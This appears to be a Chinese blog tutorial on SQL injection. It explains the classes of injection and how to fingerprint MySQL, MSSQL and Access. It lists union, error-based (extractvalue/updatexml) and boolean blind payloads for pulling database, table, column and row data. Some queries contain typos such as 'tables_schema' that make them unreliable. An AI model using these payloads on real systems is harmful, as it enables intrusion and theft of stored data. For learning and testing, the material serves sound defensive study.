SQL注入原理当客户端提交的数据未作处理或转义直接带入数据库,就造成了sql注入 。
攻击者通过构造不同的sql语句来实现对数据库的任意操作 。
SQL注入的分类按变量类型分:数字型和字符型
按HTTP提交方式分:POST注入、GET注入和Cookie注入
按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入
按数据库类型分:
sql:oracle、MySQL、mssql、access、sqlite、postgersqlnosql:mongodb、redis
MySQL与MSSQL及ACCESS之间的区别1.MySQL5.0以下没有information_schema这个默认数据库
2.ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释
举例:select 1,2,3 from `table_name` union select 1,2,3 from `table_name`
3.MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)
判断三种数据库的语句
- MySQL:and length(user())>10
- ACCESS:and (select count(*)from MSysAccessObjects)>0
- MSSQL:and (select count(*)from sysobjects)>0
- 数字型:id=2-1
- 字符型:' 、')、 '))、 "、 ")、 "))
- 注释符:-- (这是--空格)、--+、/**/、#
文章插图
2.获取字段数
order by 二分法联合查询字段数,观察页面变化从而确定字段数
- order by 1
- order by 50
3.查看显示位尝试使用联合注入
利用and 1=2或and 0及id=-12查看显示数据的位置
替换显示位改成SQL语句,查看信息(当前数据库,版本及用户名)
and 1=2 union select version(),2,3再查询所有数据库
and 1=2 union select (select group_concat(schema_name)from information schema.schemata),2,3查询所有表名
union select (select group_concat(table_name)from information_schema.tables),2,3查询所有字段名
union select (select group_concat(column_name)from information_schema.columns),2,3查询字段内容
如:查询test库下users表的id及uname字段,用'~'区分id和uname以防字符连接到一起
union select(select group_concat(id,'~',uname)from test.users),2,3报错注入通用报错语句:(测试版本MySQL8.0.12,MySQL5.0,mariadb5.5版本下)
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));POST中的报错注入
文章插图
布尔盲注我在盲注中常用的函数:
1.char() 解ASCII码;
2.mid()截取字符串;
举例:mid('hello',1,3),从第1位开始截取3位,输出位hel
3.substr()与mid()相同,都为截取字符串;
4.count()计算查询结果的行数;
5.concat()查询结果合并但保持原有行数;
6.group_concat()查询结果合并但都放在一行中;
7.ascii() 查询ascii码;
猜数据库长度(利用二分法);
- id=1 and (length(database()))>1
- id=1 and (length(database()))>50
- and ascii(mid(database(),1,1))>1
- and ascii(mid(database(),2,1))>1
and (select count(table_name)from information_schema.tables where tables_schema=database())>1and (select count(table_name)from information_schema.tables where tables_schema=database())>10查询第一个表的长度;
and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10查询表的第一个字符;
and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1查询atelier表里有几个字段;
and(select count(column_name)from information_schema.columns where table_name = 'atelier' and table_schema = database())>2查询第一个字段长度;
and length((select column_name from information_schema.columns where table_name='atelier' and table_schema= database()limit 0,1))>1查询字段第一个字符;
and ascii(mid((select column_name from information_schema.columns where table_schema = 'db83231_asfaa' and TABLE_NAME ='atelier' limit 0,1),1,1))>105查询字段所有行数;
and (select count(*) from db83231_asfaa.atelier)>4查询字段名的行数(查询emails表,uname字段);
and (select count(uname)from security.emails)>7 查询uname的行数
推荐阅读
- Spring框架和Spring Boot框架的区别
- Python中from import和import的区别?没有比这更好的回答了
- 孙悟空和女娲娘娘的关系 孙悟空的母亲到底是谁呢?
- 在北京的这些凶宅发生过的事 北京4大凶宅的科学真相
- WLAN无线漫游详解
- 无论新茶老茶 对味就是好茶
- 白天睡觉魇住是屋里不干净 梦魇其实就是有鬼怎么办
- 苏轼出生在什么朝代 苏轼与欧阳修并称是什么之一
- 打坐灵魂出窍会回不来吗 打坐入定后是什么感觉
- 金刚石是目前世界上最硬的物质吗? 金刚石是最硬的矿物吗